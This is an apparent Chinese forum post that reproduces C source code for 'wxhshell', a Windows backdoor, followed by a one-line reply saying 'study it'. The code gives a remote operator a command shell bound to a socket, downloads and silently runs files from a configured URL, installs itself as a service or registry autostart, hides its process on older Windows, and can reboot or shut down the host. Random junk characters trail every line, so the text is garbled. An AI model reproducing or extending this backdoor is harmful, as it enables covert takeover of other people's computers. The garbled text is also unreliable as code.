  if(strstr(cmd,"http://")) { $!G`D=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ] @X{dc  
  if(DownloadFile(cmd,wsh)) 47IY|Jdz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r6`\d k  
  else o+<29o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); upypxC  
  } lhqQ CV  
  else { :l+_ja&o  
z%V*K  
    switch(cmd[0]) { 4\M8BRuE  
  }[ ].\G\G  
  // 帮助 !?nu?  
  case '?': { EeCFII  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v&fGCD\R  
    break; pOm@b `S%  
  } W h| L  
  // 安装 7*i }km  
  case 'i': { S%kS#U${|  
    if(Install()) McjS)4j&.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &p5&=zV}  
    else {j?7d; 'j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RqXi1<6j#  
    break; ]pnYvXf>!  
    } {h#6z>p"u2  
  // 卸载 Z>8eD|m%2  
  case 'r': { "B#Y-  
    if(Uninstall()) 2MuO*.9D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ga-{!$b*  
    else tBseqS3<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a/~29gW8E\  
    break;  ="\*h(  
    } Gn59 yG!4  
  // 显示 wxhshell 所在路径 CtM'L   
  case 'p': { w NH9WG  
    char svExeFile[MAX_PATH]; ^'vIOq-1v  
    strcpy(svExeFile,"\n\r"); B7 HQR{t  
      strcat(svExeFile,ExeFile); '[nmFCG%m*  
        send(wsh,svExeFile,strlen(svExeFile),0); wcZbmJ:  
    break; H"+wsM^@  
    } 7 _g+^e-"  
  // 重启 x;j{} %  
  case 'b': { ==N` !+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cZ|lCy^  
    if(Boot(REBOOT)) [Ct=F|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); as r=m{C"  
    else { R2 lXTW*  
    closesocket(wsh); OV[`|<C '  
    ExitThread(0); > \3ah4"o  
    } &~#iIk~%  
    break; DLi?'K3t  
    } Vclr2]eV4O  
  // 关机 EMlIxpCn:  
  case 'd': { "jR]MZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >,"sHm}l%  
    if(Boot(SHUTDOWN)) ,=|4:F9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` W4dx&  
    else { ne4c %?>t  
    closesocket(wsh); CWi8Fv  
    ExitThread(0); 0(gq; H5x'  
    } W"Q!|#;l.  
    break; E-fr}R}  
    } QHzgy?  
  // 获取shell 2n|CD|V$ux  
  case 's': { DyfsTx  
    CmdShell(wsh); Mra35  
    closesocket(wsh); F;u_7OM  
    ExitThread(0); O*G1 QX  
    break; l~J*' m2  
  } IU#x[P!  
  // 退出 ?TpUf  
  case 'x': { /p)F>WR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zu21L3  
    CloseIt(wsh); s+,&|;Q  
    break; -7%X]  
    } ^ve14mbF#.  
  // 离开 ff E#^|  
  case 'q': { GK?4@<fY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .9h)bf+  
    closesocket(wsh); 5G(E&>~  
    WSACleanup(); t> . Fl-  
    exit(1); DM),|Nq"  
    break; c?K~/bx.  
        } 40#9]=;}  
  } SEM8`lnu  
  } 5HKW"=5Cf  
.Evy_o\^  
  // 提示信息 Izo!rC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %NajFjBI  
} nt ,7u(  
  } >(3\k iYS  
cp6WMHLj   
  return; U O<:.6"  
} g97]Y1g  
r:&|vP  
// shell模块句柄 i  sW\MB]  
int CmdShell(SOCKET sock) sJZ!sznn  
{ 8TWTbQ  
STARTUPINFO si; WVX`<  
ZeroMemory(&si,sizeof(si)); Qi9-z'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E0l _--  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \+nGOvM  
PROCESS_INFORMATION ProcessInfo; 3`F) AWzdr  
char cmdline[]="cmd"; A\$ >>Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =X(%Svnp  
  return 0; H&4~Uo.5  
} n~g LPHY  
idc4Cf+4  
// 自身启动模式 A\QJLWBv^$  
int StartFromService(void) 7:Zt uc]  
{ '6-$Xq0^E  
typedef struct o 3N]`xD'  
{ \we\0@v  
  DWORD ExitStatus; 6f)2F< 7  
  DWORD PebBaseAddress;  HpW 42  
  DWORD AffinityMask; SVWIEH0?  
  DWORD BasePriority; UiQEJXwnz  
  ULONG UniqueProcessId; nJZ6? V  
  ULONG InheritedFromUniqueProcessId; 2oVV'9;B  
}   PROCESS_BASIC_INFORMATION; DN8}gl VxV  
~i0R^qfr  
PROCNTQSIP NtQueryInformationProcess; / T c=  
#VGjCEeU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b]Z@^<_E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aFj.i8+  
@;Opx."  
  HANDLE             hProcess; ?j O 5 9n  
  PROCESS_BASIC_INFORMATION pbi; <l,o&p,>|c  
.Zmp ,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w?y 6nTg<  
  if(NULL == hInst ) return 0; xJwG=$o  
K'5'}Lb5k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); },@^0UH4c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ykqyk')wm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bzZ>lyH  
b-^p1{A0zW  
  if (!NtQueryInformationProcess) return 0; V@vU"  
)3A{GZj#6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BiwieF4x  
  if(!hProcess) return 0; !mJo'K  
)2e#HBnH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qu|i;WZE  
,h]o>  
  CloseHandle(hProcess); 'UU\4M  
<skajQQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HMGB>  
if(hProcess==NULL) return 0; ,IHb+K  
0?DC00O  
HMODULE hMod; 'LE"#2Hu  
char procName[255]; ';B#Gx  
unsigned long cbNeeded; ,&^3Z  
iw9Q18:I}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5F"|E-;  
B4Y(?JTx  
  CloseHandle(hProcess); - y AQ  
vH[47CvG5  
if(strstr(procName,"services")) return 1; // 以服务启动 Nw_@A8-r  
#qBr/+b  
  return 0; // 注册表启动 nY%5cJ`"  
} p#P~Q/;  
/=?x{(B>  
// 主模块 q2aYEuu,  
int StartWxhshell(LPSTR lpCmdLine) YDJ4c;37  
{ nIk$7rGLB  
  SOCKET wsl; V$`Gwr]|n  
BOOL val=TRUE; U(>4s]O6  
  int port=0; 6IcNZ!j98  
  struct sockaddr_in door; cre;P5^E  
J3RB]O_  
  if(wscfg.ws_autoins) Install(); 7[#yu2  
A^\.Z4=d"  
port=atoi(lpCmdLine); 4u;9J*r4  
Kv&g5&N,  
if(port<=0) port=wscfg.ws_port; YIRZ+H<Q  
(N-RIk73/O  
  WSADATA data; 13k !'P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !^oV #  
kOwMs<1J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g=L]S-e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 56lCwXCgA  
  door.sin_family = AF_INET; DOS0;^f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0|4%4 Mt  
  door.sin_port = htons(port); hwYQGtjF  
LW6ZAETyL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y9H% Xl  
closesocket(wsl); <x pph t<  
return 1; ZUm?*.g\^  
} \>. LW9  
M9\#Aq&\i  
  if(listen(wsl,2) == INVALID_SOCKET) { }|OaL*|u  
closesocket(wsl); >SF Uy\3  
return 1; 1$/MrPT(b  
} &F *' B|n  
  Wxhshell(wsl); zET^T5>:  
  WSACleanup(); B(g_Gm<  
Q#I"_G&{  
return 0; %M F;`;1  
K7knK  
}  fE f_F r  
\W5O&G-C  
// 以NT服务方式启动 JCx WWre  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +j_ ;(Gw7  
{ |y;}zQB-dH  
DWORD   status = 0; 3981ie  
  DWORD   specificError = 0xfffffff; VZr>U*J[:  
`_I@i]i^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qf M zF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F_iXd/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GE;e]Jkjn  
  serviceStatus.dwWin32ExitCode     = 0; 'VyM{:8  
  serviceStatus.dwServiceSpecificExitCode = 0; Xazo 9J  
  serviceStatus.dwCheckPoint       = 0; ok^d@zI  
  serviceStatus.dwWaitHint       = 0; =uk0@hy9b  
NL=|z=q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )~4II.`%^  
  if (hServiceStatusHandle==0) return; Mv 544>:  
EC2+`HJ"  
status = GetLastError(); GcIDG`RX  
  if (status!=NO_ERROR) \6n!3FLl  
{ ZX!r1*c 6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $n^ MD_1!  
    serviceStatus.dwCheckPoint       = 0; h!~3Dw>,N  
    serviceStatus.dwWaitHint       = 0; o+`6LKg;  
    serviceStatus.dwWin32ExitCode     = status; l& 4,v  
    serviceStatus.dwServiceSpecificExitCode = specificError; <U5wB]]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uzmk6G v  
    return; 4'j sDcs  
  } F^"_TV0va  
`e9$,h|4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q?ahr~qo  
  serviceStatus.dwCheckPoint       = 0; M#"524Nz  
  serviceStatus.dwWaitHint       = 0; 4a0:2 kIKa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [${ QzO  
} MObt,[^W  
Nk=JBIsKv  
// 处理NT服务事件,比如:启动、停止 ]V %.I_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D0k 8^  
{ e0@ 6Pd  
switch(fdwControl) H1<>NWm!v7  
{ 3~,d+P  
case SERVICE_CONTROL_STOP: h~&gIub  
  serviceStatus.dwWin32ExitCode = 0; UDhG :  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {FRAv(,\  
  serviceStatus.dwCheckPoint   = 0; 2" |2a@  
  serviceStatus.dwWaitHint     = 0; p.ANVA@:  
  { !CX t*/~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9TF f8'?d  
  } _Jwq`]Z  
  return; NaVQ9ku7VW  
case SERVICE_CONTROL_PAUSE: F(4?tX T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,fK3ZC  
  break; "|;:>{JC  
case SERVICE_CONTROL_CONTINUE: V/ cP4{L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bCref$|  
  break; rG#Z=*b%  
case SERVICE_CONTROL_INTERROGATE: /? r?it  
  break; >AoK/(yL.  
}; L;gO;vO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;\EiM;Q]  
} WZOY)>K  
l"\~yNgk  
// 标准应用程序主函数 mj|)nOd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j4?@(u9;j  
{ q@b|F-  
\V9Z #>  
// 获取操作系统版本 VrZ>bma;  
OsIsNt=GetOsVer(); "UEv&mQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9lB]~,z  
vN 2u34  
  // 从命令行安装 d(g^M1 m  
  if(strpbrk(lpCmdLine,"iI")) Install(); F+E|r6'i  
91Uj}n%  
  // 下载执行文件 iX0iRC6f  
if(wscfg.ws_downexe) { u6`=x$&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xs\!$*R  
  WinExec(wscfg.ws_filenam,SW_HIDE); fc/ &X  
} ? uYu`Ojzr  
.(pN5JI*  
if(!OsIsNt) { 8ElKD{.BU8  
// 如果时win9x,隐藏进程并且设置为注册表启动  Z%I  
HideProc(); ;'81jbh  
StartWxhshell(lpCmdLine); jTLSdul+  
} z4 &iK)x  
else V9ssH87#  
  if(StartFromService()) lKEkXO  
  // 以服务方式启动 I^oE4o  
  StartServiceCtrlDispatcher(DispatchTable); jV(6>BAI_  
else C3G)'\yL  
  // 普通方式启动 Wf{O[yL*  
  StartWxhshell(lpCmdLine); V([~r,  
kdb(I@6  
return 0; mv5n4mav  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八